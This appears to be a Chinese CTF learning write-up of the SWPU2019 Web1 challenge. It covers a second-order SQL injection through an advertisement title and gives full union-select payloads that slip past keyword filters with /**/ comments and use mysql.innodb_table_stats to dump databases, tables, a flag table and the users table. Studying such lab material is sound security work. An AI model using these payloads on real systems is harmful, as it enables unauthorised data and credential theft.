[SWPU2019]Web1(学习)

首页长这样

POST的形式

尝试使用admin注册时提示该用户已被注册

使用用户名aaa和密码123注册并登录



POST内容


广告详情页是/detail.php?id=xxx的形式

尝试对id进行sql注入
无果QAQ

尝试SSTI


貌似对标题有效,但大括号还在,估计和SSTI无关,更偏向于+直接被过滤了,回到sql注入试试
当标题为and、or或#时会提示标题含有敏感词汇

对于payload 1',访问detail.php时发现mysql报错

确定是sql注入
为什么会用广告名进行sql查询呢QwQ
猜测后端是直接维护一张广告名和广告id的映射表,然后神奇地用广告名来查询广告内容了(下次记得还是用id查好,这样就能直接在url上注入了hiahiahia)
用union select检查注入点
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'
麻了22个字段出题人这是要累死人(恼

注入点在2和3
什么,广告名都能注入的嘛,后端你查询咋写的QAQ,用来查询的字符串合着真的只有查询作用呗
那就拿广告名来注入叭
查看当前数据库
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'

查看所有数据库
这里改成where '1'='1来补全后面的引号了
1'/**/union/**/select/**/1,group_concat(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/information_schema.schemata/**/where/**/'1'='1

大意了,information的or被ban了QAQ
好的接下来是学习时间(悲

1'/**/union/**/select/**/1,group_concat(database_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/'1'='1
查看表格

1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/'1'='1

读取FLAG_TABLE内容
这波不知道字段的查询真的惊到我了,sql还能这么玩的嘛
1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1/**/as/**/a/**/union/**/select/**/*/**/from/**/ctftraining.FLAG_TABLE)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

被骗了.jpg
读取users内容
1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1

学到了学到了QwQ